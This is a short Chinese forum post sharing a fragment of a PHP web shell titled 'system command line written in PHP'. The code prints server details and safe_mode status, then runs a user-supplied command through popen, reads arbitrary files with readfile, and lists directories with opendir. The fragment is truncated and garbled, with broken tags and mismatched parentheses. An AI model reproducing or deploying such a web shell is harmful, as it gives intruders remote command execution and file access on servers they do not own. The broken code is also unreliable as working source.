返回列表 发帖

php编写的系统命令行

phpinfo" echo"服务器域名:"echo("$_SERVER[SERVER_NAME]");echo"
"; echo "本文件所在位置:";echo($_SERVER["PATH_TRANSLATED"]);echo"
"; ?>
"; echo "*Author: Demon'friend
"; echo "* safe_mode:";if(get_cfg_var("safemode"))echo"on";else echo"off"; } ?> &1");} if ($method=="popen") {$pp=popen('$cmd 2>&1','r'); $read=fread($pp,2096); echo $read; pclose($pp); } if ($method=="readfile"){ readfile("$cmd");} if ($method=="opendir"{ $h=opendir(($cmd); while($file=readdir($h)){ echo "$file\n"; } } ?>

php编写的系统命令行

TOP

返回列表 回复 发帖